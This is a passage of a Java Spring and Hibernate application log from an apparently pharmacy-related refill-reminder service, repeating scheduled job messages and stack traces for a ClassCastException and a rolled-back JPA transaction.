org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 13:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 13:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 13:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 13:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 13:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 13:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 13:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 13:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 13:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 13:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 13:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 13:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 13:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 13:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 13:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 13:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 13:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 13:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 13:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 13:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 13:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 13:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 13:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 13:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 13:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 13:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 13:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 13:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 13:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 13:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 13:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 13:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 13:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 13:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 13:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at 